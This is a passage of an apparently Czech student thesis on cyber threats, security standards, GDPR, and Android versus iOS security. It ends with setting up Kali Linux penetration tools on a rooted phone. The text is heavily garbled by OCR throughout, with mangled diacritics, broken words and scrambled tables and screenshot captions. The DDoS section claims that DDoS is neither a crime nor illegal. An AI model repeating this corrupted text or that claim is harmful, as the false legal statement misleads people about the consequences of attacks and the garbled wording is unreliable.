ktefi jsou chranéni a jejich pocitac neobsahuje malware, se mohou stat ob&ét'mi.

Tento Utok neni lehké poznat, a pokud hackefi délaji dobfe svou préci, je téméf nemozné
rozpoznat faleSnou stranku. Existuji ale n€které body, které by uzivatel mél kontrolovat
pii ptihlaSovani do bankovniho G¢tu nebo pii zadavani jinych divéryhodnych informaci.
Dtlezita je kontrola URL adresy v adresnim fadku a ujiSténi se, Ze neni pozménéna. Zde
musi byt uzivatel velice obezietny. URL adresa navic musi obsahovat ,,https®, pfiCemz se

poté jednd o Sifrovanou komunikaci a znaci, ze web je zabezpeceny. [15]
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2.4 Denial of Service

Denial of service (DoS) je pokus o pferuseni jinak normalniho provozu serverd, na kter¢ je
utok cilen. U¢inny se stava tak, ze vyuziva napadené pocitace nebo sit’ jako zdroj utoku.
Cilovy server, na ktery je itok sméfovan, po urcitém ¢ase prestane poskytovat sluzby a tvari

se jako nedostupny. [16]

Pod tuto hrozbu také spada i Distributed Denial of Service (DDoS) utok, ktery obvykle zpi-
sobi vice Skody. Rozdil mezi nimi je v poctu pocitaci, které jsou do Utoku zahrnuty. DoS
utok je vytvaren pouze jedinym zafizenim, zatimco DDoS tutok vyuziva vétsi pocet stroji
soucCasn¢. SpiSe se vyuziva druhého zplisobu, protoze vice uzivatell vytvori vétsi zatéz
na server a to ma za nasledek znepfistupnéni napt. webovych stranek pro navstévniky. Po-
kud je server Spatné nakonfigurovan, pti jeho zahlceni mize dojit k tomu, Ze se sdm neob-
novi do bézného provozu ani po skonceni zatéze, kterd na néj byla vytvoiena. Poté musi byt
rucné opét zprovoznén. Zajimave je, ze DDoS neni trestny ¢in ani nelegélni pocin. Jedna
se jen o vyjadfeni nesouhlasu s ur¢itou véci a nedochazi zde k uniku citlivych informaci,

nakazeni cilovych zafizeni ani kradeze identity. [16]

2.5 SQL injection a Cross-site scripting

SQL je standardni jazyk pro komunikaci s databazi. Utok zvany SQL injection vznika v ne-
oSetfenych databazovych dotazech, které vytvari nezkuSeny a neznaly vyvojar. Pfedevsim
jsou lakavé databaze, ve kterych jsou uloZeny osobni data a soukromé tidaje osob, jako hesla
k riznym Gc¢tim. Pti utoku SQL injection je napadena databaze vyuzitim neoSetienych
vstuptl a je proveden SQL ptikaz, ktery pozméiuje ptivodni dotaz. V horSich scénatich mo-
hou byt smazany celé databdze s miliony dilezitych zdznamil, a pokud neni vytvofena jejich
zaloha, ob&t’ nenavratné piijde o vSechny ulozend data. Je mozné také pomoci tohoto typu

utoku si privlastnit administratorsky Gcet a disponovat tak nejvysSimi pravy. [9]

Ke Cross-site scriptingu (XSS) dochézi ¢asto pii neoSetienych vstupech ve formularich na
webovych strankach. Do formulatt jsou vlozeny nebezpecné kddy napsané naptiklad v pro-
gramovacim jazyku Javascript a ty jsou po odeslani provedeny. Je takto moZzné kompletné
nahradit plivodni obsah webovych stranek vlastnim. Navstévnik webu nemusi mit nasledné
ani povédomi o tom, Ze se jedna o faleSnou stranku. BohuZel se lze proti XSS branit jen
diislednym oSetfovanim vSech vstupt a fetézcll, o které se stara sam vyvojar, ktery ale miize

nékde opomenout kontrolovat a ovéfovat ptichozi data. [9]
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3 STANDARDY KYBERNETICKE BEZPECNOSTI

Bezpecnostni standardy kybernetické bezpecnosti jsou techniky zabezpeceni, které umoz-
nuji organizacim provadét ¢innosti s cilem minimalizace poctu utokd vedenych na sité po-
¢itacl. Tyto standardy byly vytvotfeny, protoze ¢im dal vice bylo potieba uchovavat v bez-
peci ukladana data. S rostouci zavislosti na digitalnich systémech dochazi k naristu kyber-
netickych hrozeb a utokt. Diive byly vSechny informace zpracovavany v papirové podobg,
a proto je nyni vétsi potieba dbat na informacni bezpecnost. V1ady tak stale ¢astéji vyzaduji
implementaci téchto norem. Zatimco je redlné nemozné eliminovat vSechny hrozby, zlep-
Seni kybernetické bezpecnosti pomoci standarda ptispiva k fizeni rizik a zajisténi ochrany

davérnych informaci. [1]

3.1 ISO/IEC 27001 a 27002

Norma ISO/IEC 27001 specifikuje pozadavky na implementaci, udrzovani a zlepSovani sys-
tému fizeni rizik a bezpecnosti informaci. Jejim cilem je chranit informacni aktiva v organi-
zacich, aby se informace nedostaly do nespravnych rukou. Standard ISO/IEC 27001 byl uve-
fejnén v roce 2005 a specifikuje ramec Information Security Management System (ISMS).
Od této doby se mnoho technologii zménilo, naptiklad doslo k riistu mobilnich technologii
a také pribylo vice kybernetickych hrozeb. Z tohoto diivodu se skupina organizace ISO roz-

hodla tento standard modernizovat. Vznikl tak standard ISO/IEC 27001:2013. [17][18]

Systém ISMS je mezinarodné certifikovany a zaveden v podnicich napfic v§emi obory, pro-
toze predstavuje globalni téma. Pii zménach norem piitom zlstalo zachovano, ze dle normy
ISO/IEC 27001 se certifikuje a dle normy ISO/IEC 27002 se ISMS zavadi. Organizace pro-
kazuji certifikdtem schopnost uplatnit bezpenostni opatieni, které ma na starost chranit in-

formacni aktiva a dostatecn¢ zabezpecit informace. [17][18]

ISO/IEC 27001 obsahuje zndmy model ,,PLAN-DO-CHECK-ACT* rozd¢lujici proces fi-

zeni do Ctyt krokd, které tvoii uzavieny cyklus.

1) Faze Plan (planuj) je navrh ISMS, hodnoceni rizik a vybér vhodného tizeni
2) Faze Do (d¢lej) se zabyva implementaci a provozem ISMS
3) Faze Check (ovétuj) siklade za cil posoudit vykonnost ISMS

4) Faze Act (jednej) vykonava zmény za ticelem dosazeni trvalého zlepSeni ISMS [18]
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3.2 Zakon ¢. 101/2000 Sb., o ochrané osobnich udaji

Smyslem tohoto zakona je ochrana ob¢anti pied zasahovanim do jejich soukromych a osob-
nich zivotd shromazd’ovanim, nakladanim a vyuzivanim jejich osobnich udajii bez udani
souhlasu. Zakon o ochrané osobnich udajii se vztahuje na statni organy, organy vetfejném

moci i fyzické a pravnické osoby, které pracuji s osobnimi udaji. [19]
Zakon je vybudovan na dvou zékladnich zasadach:

1) pouziti osobnich udaji jen pro ucely, pro které byly nashromazdény a zajisténi bez-
pecnosti téchto informaci

2) sami obcané se podili na ochrané udajii tim, ze ud¢li nebo neud¢€li souhlas pro zpra-
covani udajl, protoze by mohly byt pouzity protipravné nebo by byly vyuzivany pro
jiny ucel [19]

3.3 GDPR

GDPR je ,,obecné narizeni o ochrané osobnich udajii (angl. General Data Protection Regu-
lation neboli GDPR) je nova revolucni legislativa EU, kterd vyrazné zvysuje ochranu osob-

nich dat obcanu.* [20]

vvvvvv

ochrany osobnich dat ob¢anti v zemich Evropské unie. GDPR se vztahuje na pravnické i fy-
zické osoby 1 jiné subjekty, které pracuji s osobnimi tidaji. Nezéalezi na tom, jak je napf. prav-
nickd osoba velka, a i pro zivnostnika, ktery pracuje sam, jsou informace spojeny s GDPR

relevantni, protoze vétSinou pracuje s daji klientdt nebo obchodnich partnerti. [21]

GDPR v Ceské republice rozsifilo zakon &. 101/2000 Sb., o ochrané osobnich tidaji. Nej-
vétSim ukolem je zkvalitnit kontrolu pfi manipulaci s osobnimi daty osob oproti pifedcho-
zimu zdkonu. Pro podniky to znamena potfebu zavést ptisnéjsi pravidla pti zpracovani osob-
nich udaji. Zakaznikim poskytuje GDPR vét§i miru jistoty, protoZe konkrétn€ definuje
ochranu soukromi. [21]

Déle zminéné natfizeni klade naroky ve smyslu finanénich postihl. ZvySuje se vyse pokut

pii nedodrZovani pravnich nafizeni az na 20 miliont EUR u fyzickych osob a 4 procenta

z ro¢niho obratu u pravnickych osob. [21]

GDPR vzniklo pfedevs§im proto, Ze zplsob zpracovani idaji ptestal odpovidat dnesni dobé.

Neméni se zpisob zpracovani osobnich tdaji ani pojmy, které jiz byly diive dané, jako
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napf. osobni idaj nebo zpracovatel. GDPR ale klade narok ptedevsim na spolecnosti, které
pracuji s velkym objemem zpracovavanych tdajl, jako napiiklad banky nebo nemocnice.
Navic se obecnym nafizenim fidi i Zivnostnici a internetové obchody, které zpracovavaji

osobni udaje. Naptiklad pokud i maly internetovy obchod uklada udaje o zédkaznikovi. [21]

Spole¢nosti musi byt diky GDPR otevienéj$i viici zakaznikiim pii shromazd’ovani infor-
maci. Musi uvadét naptiklad takové informace, kdy zakaznik souhlasi s néjakymi podmin-
kami, a zpracovatelé udaji musi uvést ucel, pro jaky budou nashromdzdéna data vyuzivana
a jak s nimi bude naklddano. Cilem GDPR je viceméné poskytnuti zdkazniklim a klientim
zvySenou kontrolu nad jejich udaji a zvySeni divery v organizace, které o nich uchovavaji

osobni informace. [21]

Vyhodou GDPR je, Ze subjekty v celé Evropské unii plni stejné povinnosti a ukoly spojené
se shromazd'ovanim osobnich udaji. V tomto ohledu tak dochdzi k snadnéjsi manipulaci

s daty a snizenim pozadavkl pro administraci. [21]

GDPR s sebou piinasi 1 zvySenou miru bezpecnosti v oblasti kybernetickych hrozeb. Piije-
tim tohoto nafizeni se ovlivnily nékteré standardy ochrany osobnich udaji a bezpecnosti
a navic se organizace povzbudily k tomu, aby zapracovaly na kybernetické bezpecnosti. Je
tak zvySeno omezeni mozného poskozeni a naruseni dat. Existuje totiz velké mnozstvi poci-
tacovych zloCinct, ktefi vyuzivaji chyby v softwarech a systémech, které mohou vyuzit
pro ziskani ptistupu k aplikaci nebo ke komunikaci na siti. V dnesni dob¢ jiz podniky nemo-

hou kybernetickou bezpecnost tipIn¢ ignorovat a je tfeba ji vénovat zvySenou pozornost. [22]
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4 MOBILNI PLATFORMA

Platforma ptedstavuje zakladnu v podob¢ softwaru a hardwaru, na které bézi a pracuji pro-
gramy, operacni systémy nebo aplikace. Operacni systém je software, ktery umoziuje uzi-
vateli provozovat aplikace na pocitacovém nebo mobilnim zatizeni. Jedna se o prvni pro-
gram, ktery je spustén pii zapnuti zatizeni. Aplikacni programy vyuzivaji operacni systém
tak, Ze zadaji o sluzby prostfednictvim rozhrani pro programovani aplikaci (API). Operacni
systém zahrnuje 1 uzZivatelské rozhrani, které slouZi pro interakci s uzivatelem, jako grafické
prvky (ikony) nebo pracovni plochu a dale poskytuje sluzby pro aplikace. Naptiklad v mul-
titaskingovém operacnim systému, ve kterém muiize byt spusténo vice programtl najednou,
operacni systém urcuje, které aplikace budou spustény a v jakém potadi. Mimo jiné zajistuje

pfidélovani paméti a sdili ji mezi vice aplikacemi. [23]

4.1 Platforma Android

V roce 2003 byla zaloZena spole¢nost Android Inc., ktera si dala za cil vytvotit inteligent-
n¢jSi mobilni zafizeni. O dva roky pozd¢ji byla koupena spole¢nosti Google a psala se tak
pro ni nova kapitola. Zakladajici ¢lenové Android Inc. zistali u vyvoje, ale jiz pod novymi
vlastniky. Bylo rozhodnuto, Ze operacni systém bude pouzivat Linuxové jadro a bude do-
stupny jako open-source, coZ znamend, ze jeho zdrojovy kod je vefejné zndmy, je zdarma
a na jeho rozvoji se mize podilet kdokoli. Rok 2007 znamenal novou éru mobilnich zatizeni
ana trh byl uveden prvni iPhone od spole¢nosti Apple. V této dob¢ se tajn¢ pracovalo na sys-
tému Android, ktery mél ambiciozni cil stat se platformou pouZzivanou na tisici riznych mo-
delech telefonti. Prvni chytré mobilni zatizeni s operacnim systémem Android bylo ozna-

meno v roce 2008. Jednalo se o T-Mobile G1 od spole¢nosti HTC s verzi Android 1.0. [24]

4.2 Platforma iOS

Spolecnost Apple vypustila prvni iPhone v roce 2007 se systémem i0S. Od té doby prosel
n€kolika velkymi zménami a dnes pfedstavuje hlavniho konkurenta pro operacni systém An-
droid. Sama spole¢nost Google, kterd na Androidu pracovala jesté pted tim, nez byl iPhone
uveden na trh, musela po jeho odhaleni zacit od zacatku predélavat systém, protoZe by An-
droid nebyl konkurenceschopny. Proto je prvni iPhone mozna nejdilezitéj$i mobilni zatizeni
v historii. Pfinesl s sebou realnou myslenku, Ze telefon, fotoaparat a internet mohou byt za-

baleny v jednom zatizeni, které se vejde do kapsy. Zaroven pfisel jako prvni s obrovskou
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inovaci, a to zabudovanou klavesnici v displeji. Platforma i1OS nyni mimo jiné patii mezi

nejlépe zabezpecené systémy. [25]

4.3 Srovnani platforem Android a iOS

Pti srovnani operacniho systému Android a i0S je vidét obrovské rozdéleni poctu uzivateld.
I kdyz je v dnes$ni dob¢ na trhu pies 80 % zafizeni, na kterych je nainstalovan operacni sys-
tém Android, nemusi to nutn¢ znamenat, Ze Android je lepsi volba. Jelikoz se o0 10S systém
stard pouze jeden vyrobce, ma tplnou kontrolu nad témito zatizenimi, kterych je méné, a tu-
diz budou 1 1épe podporovana a otestovana. Vysledkem je 1 mnohem mensi fragmentace

oproti systému Android. [26]

4.3.1 Uzivatelské prostredi

Zména a uprava uzivatelského prostiedi vzdy byla silnéjsi strankou u Androidu. Zde si uzi-
vatel miize ménit design podle svého uvazeni za pomoci riiznych widgetl nebo miiZze napfti-
klad pouzit i tzv. launchery, které méni kompletni design a piidavaji Siroké mnozstvi nasta-
veni. Naproti tomu v systému 10S je limitovana podpora pro widgety a neni zde moc moz-

nosti pro zménu grafické¢ho designu, ale za to je piivétivy a esteticky. [26]

4.3.2 Bezpecnost

Diky fragmentaci u syst¢ému Android je bezpec¢nost obrovsky problém. Znamena to,
ze na nékterych zatizenich bézi 1 nékolik let stary systém, ktery se tak stava cilem pro utoky
hackerti. Od verze 6.0 Marshmallow se sice bezpecnost posunula k lepSimu tim, Ze uzivatel
nyni mize odepftit aplikacim pfistup k nékterym funkcim, napt. zakdzani sbéru informaci
o poloze. Stale ale plati, Ze kazdy vyrobce vyuzivajici systém Android aktualizuje zatizeni
podle svého uvazeni a vznika tak obrovské mnozstvi riznych verzi. [26]

zajem déle podporovat nebo ji podporuji jen kratce, aby tak zvysili zajem o jejich zatfizeni
s nov¢jSimi systémy. Na druhé stran€ pro systém iOS je bezpe€nost priorita a sama spolec-
nost Apple neshromazd’uje citlivd data o svych uZzivatelich. JelikoZ je systém nainstalovan

pouze na nékolika riiznych modelech, je nad nim vétsi kontrola a jsou pro néj vydavany

N 24
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4.3.3 Soukromi

U systému 10S je velké mnozstvi dat ulozeno bezpecné v zaSifrované podob¢ v zatizeni.
Informace, které se odesilaji spole¢nosti Apple, jsou pouze anonymni a nejsou vyuzivana
pro cilenou reklamu. Na druhé¢ strané systém Android sbira urcité typy dat, o kterych ani
uzivatel nevi, Ze jsou odesiladna zpét. Podle Google je tdajné ziskavani informaci pouze pro
ucely zlepSeni sluzeb. Je ale ziejmé, Ze u majiteli zafizeni se systémem i0OS je soukromi

priorita. [26]

4.3.4 Vykon

Optimalizace mluvi ve prospéch zatizeni s 10S. I kdyz maji mnohdy ne tak vykonny hard-
ware jako zatizeni konkurence, jsou peclivé otestovana a systém na nich bézi hladce. Neby-
valo tedy vyjimkou, Ze 1 nékolik let staré zatizeni dokéazaly a stale dokazi pred¢it mnohem
novéjsi zatizeni s Androidem. Dnes ale ¢inSti vyrobci pouZivajici systém Android, dokazi

nabidnout mobilni zatizeni, které je schopno konkurovat i za polovi¢ni cenu. [26]

4.3.5 Fragmentace

Fragmentace v oblasti operacnich systému znamend, Ze ncktefi uzivatelé pouzivaji starsi
verze opera¢niho systému, zatimco ostatni uZivatelé jiz presli na novéjsi verze. Casto je frag-
mentace praveé spojovana s Androidem, protoze u n¢j piedstavuje obrovsky problém. K roz-
dilim dochazi proto, ze Android je open-source a to znamend, ze ho vyrobci vyuzivaji dle
svého uvazeni a jsou také zodpovédni za vydavani aktualizaci do té miry, jak uznaji sami

za vhodné. [27]

Vlastni upravy systému jsou hlavnim diivodem fragmentace, protoze udrzovat verzi systému
pro kazdy telefon je velmi narocné ve srovnani s tim, kdy by na vSech zatizeni bézel jen
jeden operacni systém. Vyrobci chtéji sva zatizeni odliSit od konkurence a kazdy vyrobce
vyda aktualizaci az poté, co si ji upravi k obrazu svému. Napiiklad, kdyZ spole¢nost
Samsung ptedstavila mobilni telefon, ktery vyuZzival otisk prstu. Tato funkce nebyvala v za-
kladni verzi Androidu podporovana, a proto ji musel Samsung sdm implementovat do sys-
tému. Vysledkem tak je, Ze pocet riznych zatizeni se systémem Android byl v roce 2015

okolo 24 000 a je samoziejmé, Ze se od té doby Cislo rapidné zvysilo. [27]
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4.3.5.1 Dusledky fragmentace u zaiizeni:

e N¢které aplikace se mohou na riznych zatizenich chovat jinak a i pies velké mnoz-
stvi testovani neni mozné zarucit, Ze na vSech zafizenich budou bézet stejné.

e Pro vyvojafe je to velmi slozita zalezitost, protoze musi mit aplikaci otestovanou
na co mozna nejvice riznych zatizenich.

e Problém je bezpecnost na starSich verzich systému, protoze pro né¢ skoncila podpora
a tudiz pro ni nejsou vydavany aktualizace a bezpecnostni zaplaty.

e Vyvoj je diky fragmentaci Casové naro¢ny a nakladny. [27]

Fragmentace u zafizeni Android k fijnu 2018 Fragmentace zafizeni iOS k fijnu 2018

JellyBean4.1-4.3  , Ostatniverze
/ 0,50%

P

Obrazek 2: Fragmentace obou platforem (upraveno) [28]

Na srovnavacim obrazku vyse je vidét, Ze u i10S platformy fragmentace nepredstavuje tak
obrovsky problém jako u Android. Mimo jiné je zietelné, Ze okolo 10 % uzivateld stale
pouzivé ptistroje s verzi 4.4 a starsi, u kterych bezpecnost nebyla viibec na vysoké urovni
a na zhruba celkem 30 % zatizeni je stale nainstalovan systém Android 5.0 a niZsi verze, coz

predstavuje obrovsky podil celkového poctu zatizeni. [27]
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Tabulka 1: Srovnani platforem Android a iOS v bodech (vlastni) [26][27]

Uzivatelské

prostiedi

Bezpecnost

Soukromi

Fragmentace

-

+ Silngjsi stranka Androidu
+ Instalace launchert, widgett

+ V¢étsi volnost pti zméné vzhledu

- Problém s pozdnim zapracova-
nim bezpecnostnich updatt

- Nutnost udrzovat velky pocet
ruznych verzi systému
- Mnoho uzivateli Androidu pou-

zivajicich zastaralé verze

- Velké mnozstvi shromazd’ova-
nych informaci o uzivateli

- Ziskané informace jsou pouzity
pro cilenou reklamu

+ Od verze 5.0 moznost zaSifro-
vani celého telefonu

+ Ncekteré high-end telefony mo-
hou nabidnout stejny vykon za po-
lovi¢ni cenu oproti 10S

+ Vétsi pocet nabizenych moznosti
vybavy jako NFC, pouziti dvou
SIM karet nebo vymény baterie

- Obrovsky problém u Android za-
fizeni

- Kazdy vyrobce zodpovida za vy-
dani aktualizaci podle svého uvé-
zeni

- Velky pocet rtiznych verzi

- Bezpecnost na starSich systémech

- Nutnost testovani velkého poctu
zatizeni

iOS
- Méné¢ volby vybéru designu
- VétSinou pevné dany design
+ Dtraz na jednoduchy a pfivétivy
design
+ Jednoznaéné siln€j$i stranka 10S
platformy

+ Cast€js$i uvoliovani bezpecnost-
nich zaplat a aktualizaci

+ Vysoka uroven soukromi

+ Uchovavani pouze anonymnich
informaci

+ Bezpecnostni enklava ukladajici
data oddé€len¢ od operacniho sys-
tému

+ Vyborné optimalizované 1 pies
mnohdy slabsi hardware

- Absence slotu pro pamétovou
kartu a zruSeni 3,5 mm jack portu

- Nelze vyménit baterii

+ Jeden vyrobce starajici se pouze
o nékolik verzi systému

+ Jednodussi kontrola nad aktuali-
zacemi a bezpecnostnimi zapla-
tami

+ Nizké fragmentace dovoluje vé-
novat vice casu optimalizaci

+ Vyvoj neni tak Casoveé narocny
a nakladny
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II. PRAKTICKA CAST
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5 KLASIFIKACE NASTROJU PRO RIZENI BEZPECNOSTI

Klasifikace a kategorizace nastroju pro fizeni bezpecnosti byla vytvofena zdmérné v prak-

tické ¢asti, jelikoz dosud neexistuje zaddné obecné rozdéleni téchto nastroji a technik.

1. Firewall
2. Antivirus a Anti-Malware software
3. Anti-Spam
4. Technologie pro monitoring, prevenci a detekci
a. Intrusion Detection Systems
b. Intrusion Prevention Systems
c. Security Information and Event Management
5. Virtual Private Network
6. Penetracni testy
a. Interni penetracni test a externi penetracni test
b. Penetracni test webovych aplikaci

c. Penetracni test socidlniho inZzenyrstvi

5.1 Firewall

Firewall zlistava stale jednim z nejdulezitéjSich prvki pti blokovani neautorizovaného pii-
stupu do systému. Ma za kol monitorovat sitovy pohyb a také pokusy o piipojeni do sys-
tému, které bud’ odepte, nebo povoli. Prvni generace firewallli méla za kol srovnavat infor-
mace pakett, jako jsou cil, porty a protokoly se seznamem pravidel. Druha generace pfinesla
technologickou novinku v podobé stavové kontroly paketil, kterd rozezndvala, jestli je paket
zacatkem komunikace, soucast dosavadniho spojeni nebo v komunikaci vitbec nefiguruje.
Tteti generace pfiSla s moznosti filtrovani informaci v celém modelu OSI. Znamenalo to,
ze firewall dokazal objevit ptipadné hrozby, které se snazily obejit ochranu vyuZzitim
napt. povolenych portl. Nejnovéjsi firewally v sobé zahrnuji webové aplikaéni firewally
a zaroven umoznuji hlubsi kontrolu. Firewally se dale mohou délit na hardwarové a softwa-

rove. [29]

Hardwarové firewally jsou umistény ve vétSin€ sitovych smérovacl a jejich konfigurace

miliZze byt ménéna pomoci nich. Pfedstavuji prvni ochranu pfi ptichozi komunikaci. [30]

Softwarové firewally jsou navrzeny pro ochranu pocitace zablokovanim urcitych typl pro-

gramt pfed odeslanim nebo pfijetim do sité. Pfikladem je brana firewall ve Windows. [30]
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5.2 Antivirus a Anti-Malware software

Antivirus je program navrzeny pro ochranu pocitace pied skodlivym kédem, jako jsou viry,
keyloggery, spyware, Cervi apod. Slouzi predev§im pro detekci, kontrolu a odstranéni skod-
livého malware ze zatizeni. Automatické skenovani dovoluje vyhledavat skodlivy software
a kontrolovat pribézné cely pocita¢ nebo mobilni telefon. Pti ruénim skenovani si uzivatel
nastavi, kterd ¢ast se ma kontrolovat a jestli ma byt provedeno hluboké skenovani, coz zaruci
kontrolovani jednotlivych souborti. Antivirovy software obsahuje databazi nejnovéjsiho
malware, s kterou vysledky skenovani systému porovnava. Tato databaze musi byt prubézné
aktualizovana, protoze Skodlivy software je vyvijen kazdy den a musi tak byt zaru€eno,

ze bude vcas objeven antivirovym programem. [31]

5.3 Anti-Spam software

Anti-Spam ma za ukol blokovat nevyzadanou postu (spam) prostfednictvim emailu. Spamy
blokuje na zéklad¢ nékolika kritérii, jako napf. text v predmétu, emailova adresa odesilatele
nebo typ pfilohy. Divodem nevyzadané poSty je umisténi uzivatelovy emailové adresy

na internetu nebo pouzivani adresy na vetfejnych mistech, napt. v diskuzich. [32]

5.4 Technologie pro monitoring, prevenci a detekci

Technologie jako napf. Intrusion Detection Systems a Intrusion Prevention Systems pted-
stavuji procesy monitorovani a detekovani siti a pocitact. Jejich hlavni ukol spociva v hli-
dani udalosti, které¢ by mohly piedstavovat pokus o proniknuti do systému a nasledné zazna-
menani této neobvyklé aktivity. Na zdkladé¢ téchto zaznamenanych dat je mozné pozdéji vy-

hodnotit miru nebezpeci. [33]

5.4.1 Intrusion Detection Systems

Intrusion Detection Systems (IDS) pasivn€ monitoruji sitovy provoz a zkoumaji podezielou
¢innost. Oproti firewalliim jsou navrZené tak, aby jen kontrolovaly vstupy do sité, a nemaji
za kol zabranit pfistupu. IDS obsahuje databazi jiz probéhlych typt ttoki a s tou poté po-
rovnava sitovy provoz, napf. jednotlivé pakety a detekuje tak moznou hrozbu podobné jako

antivirovy program detekuje viry s pomoci své databaze. [33]
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5.4.2 Intrusion Prevention Systems

Intrusion Prevention Systems (IPS) slouzi jako prevence a ochrana proti hrozbam v siti po-
dobna firewallu. Pokrocilé technologie IPS umoziuji komplexni ochranu od opera¢niho sys-
tému az po sit’. Podle vzniklého rizika dokaze blokovat uzivatele, upozornit administratora
nebo 1 odpojit server ze sité. Moderni IPS si dokazi poradit i s DoS utoky nebo s utoky hru-

bou silou na hesla a zaroven si vedou databazi o tom, jak se chova sitovy provoz. [33]

5.4.3 Security Information and Event Management

Security Information and Event Management (SIEM) ma za kol identifikaci hrozeb, ana-
Iyzu a uchovavani informaci spojenych s monitorovanim udalosti a vytvareni zaznamu
a logti pro bezpecnostni ucely. SIEM také pracuje s daty ziskanymi od firewallu, IPS nebo

IDS a po vyhodnoceni ziskanych informaci upozoriiuje na potencialni incidenty. [30]

5.5 Virtual Private Network

Virtudlni privatni sit’ dovoluje vytvofit zabezpecené spojeni do jiné sité¢ v internetu. Vyuziva
se naptiklad pro vzdaleny ptistup do firemni sité, pro anonymitu sitové komunikace na ve-
fejné Wi-Fi, ke skryti opravdové polohy nebo pii stahovani nelegalnich torrenti. VPN fun-
guje tak, ze data jsou zaSifrovana na odesilajicim pocitaci a poté poslana tunelem na VPN

server, kde jsou opét rozSifrovana a odesldna cilovému serveru. [34]

5.6 Penetracni testy

Penetracni testy simuluji redlné kybernetické utoky na systémy a ovéfuji uroven jejich bez-
pecnosti. Uéelem téchto testi je zjistit slaba mista, kterych mohou titoénici vyuzit k napadeni
a jejich naslednd oprava predtim, nez by k utoku realné doslo. Existuje n¢kolik typl pene-

tra¢nich testii podle toho, kde se vykonavaji nebo jaky je jejich cil. [35]

5.6.1 Interni a externi penetracni test

Interni penetracni testy jsou navrzené tak, aby napodobily utocnika s fyzickym piistupem
do sité organizace. Zaroven se zkouma potencialni nebezpeci zaméstnanct nebo dodavateld,

kteti by mohli narusSit zabezpeceni diky jejich pfistupu do vnitini sité. [35] [36]

Pro simulaci Gtokt z internetu na vnitini sit’ organizace se pouzivaji externi penetracni testy,
které predstavuji napadeni anonymnim Uto¢nikem s cilem vyuziti slabin a zranitelnosti

v systému. [35] [36]
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5.6.2 Penetracni test webovych aplikaci

Penetracéni test webovych aplikaci zjist'uje bezpecnostni nedostatky a diry ve webovych apli-
kacich, kterych v dnesni dob¢ stale vice ptibyva. Testy zahrnuji typické utoky jako SQL
Injection, Cross Site Scripting nebo prolomeni hesel a objevuji tak chyby v ndvrhu a napro-

gramovani aplikace. [35]

5.6.3 Penetracni test socidlniho inZenyrstvi

Penetracni testy socialniho inzenyrstvi jsou cileny na zaméstnance organizaci, ktefi predsta-
vuji velky bezpe&nostni problém. Utoky vyuzivaji typickou psychologickou taktiku a nezna-
lost lidi s cilem ziskat citlivé udaje nebo udé€leni ptistupu do sité. Patii zde naptiklad phishin-

govy test, klamny telefonicky test nebo test prenositelnych médii (baiting). [35] [36]
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6 VYUZITi NASTROJE PRO KYBERNETICKOU BEZPECNOST

V ramci praktické ¢asti je pouzita linuxova distribuce Kali Linux obsahujici n¢kolik na-
stroju, které slouzi penetracnimu testovani a vyhledavani bezpecnostnich chyb v riznych

aplikacich nebo zafizenich.

6.1 Priprava mobilniho zaFizeni a instalace nastroju

Pro penetracni testovani byl pouzit mobilni telefon znacky Sony Xperia SP disponujici sys-
témem Android verze 4.3 s nejvyssimi uzivatelskymi pravy. V nékterych ptipadech byl vy-
tvofen virtudlni pocita¢ se stejnou verzi penetraéniho nastroje jako na mobilnim telefonu,
ktery slouzil pro pofizovani snimkil na pocitaci nebo mél za ukol reprezentovat redlného

uzivatele.

6.1.1 Root — nejvyssi uzivatelska prava

Nejprve bylo nutné provést root neboli ziskat prava superuzivatele, s pomoci kterych je
mozné menit systémové soubory. Opravnéni superuzivatele dovoluje instalovat jakékoliv
aplikace, a naopak odinstalovat aplikace, které bézny uzivatel smazat nemtize. Je tieba zmi-
nit, ze pouzité zatrizeni Sony bylo pouZzito pouze pro testovani a v bézném mobilnim telefonu

vysSich opréavnéni, coz utocniklim umoziuje naprostou kontrolu nad systémem. [37]

Root byl proveden na zaklad¢ instalace aplikace TowelRoot a po nasledném restartovani
telefonu se jiz mohly vyuZzivat prava superuzivatele. Pro ovéteni, zdali je root telefonu

funkéni a provedeny spravng, je mozné stdhnout z Google Play aplikaci Root Checker. [37]

Root Checker

ROOT CHECK BUSYBOX CHECK BUILD INFO

Root Status
6 Your C5303 is
Rooted
0S: Android 4.3

CHECK

Obrazek 3: Kontrola uZzivatelskych prav
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6.1.2 Instalace aplikaci

. ~r s

Nejdulezitéjsi nainstalovanou aplikaci byla Linux Deploy slouzici k vytvoreni Linuxového
systému v mobilnim telefonu. Jako distribuce systému byl zvolen Kali Linux, ktery v sob¢

zahrnuje nastroje pro penetracni testy. [38]

A& © B 72%E 11:16

linux [192.168.0.115]

>>> start

Checking file system ... done
Mounting the container:

/ ... done

/proc ... done

/sys ... done

/dev ... done

/dev/shm ... done

/dev/pts ... done

:: Configuring core/mnt ...

;i Configuring core/net ...

:: Starting desktop/dbus ... done
:: Starting graphics/vnc ... done
:: Starting init/run-parts:
rc.local ... done

<<< start

Obrazek 4: Start aplikace Linux Deploy

Mimo jiné je tieba aplikaci povolit ptistup k nejvyssim uzivatelskym pravim pomoci soft-
waru Super SU dostupného ke stazeni z Google Play, stejn¢ jako ostatni aplikace pouzité pii
instalaci. Linux Deploy dale umoziuje vytvofit Virtual Network Computing (VNC) server,
na ktery je mozné se vzdalen¢ ptipojit pomoci aplikace androidVNC. Tento VNC klient

slouzik pfipojeni vytvoiené Kali Linux distribuce. Aby bylo mozné navazat spojeni, je nutné

pouzit v klientovi pfedem urcené uzivatelské jméno ,,android* a heslo ,,changeme*. [38]

-

LxTerminal

i darkstat
k dnschef
S dnsspoof
i dsniff

K ettercap-graphical

B, dicemssaiis . \ Top 10 Security Tools
9

§L Graphics »| Q4 Information Gathering
{0 Internet > ’h wulnerability Analysis

x ;'b Web Applications

WOW W W W v

Office | ¢ Password Attacks S hexinject
O Other Y wireless Attacks \ rmailsnarf
&Y Programming » G Exploitation Tools i msgsnarf
!j Sound & Video > a | a = " passive_discoverys
Systern Tools > E Mairtaining Access > -(‘“"' Metwork Spooﬁrﬁ > \ responder
& Universal Access »| 7= Rewverse Engineering > (ﬁ “WolP Tools > i sslsniff
stz . ? :
Rrfararicas N Stress Testing > (ﬁ “Woice and Surveillance > K tepflow
E Hardware Hacking > (ﬁ ‘Web Sniffers > ‘. urlsnarf

Run _ .
I Forensics > i webmitm

r 2t

& Logout |_ Reporting Tools > *' webspy

2 I lor coim e «ll W bl

Obrazek 5: Kali Linux distribuce s penetracnimi nastroji
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6.2 Kali Linux

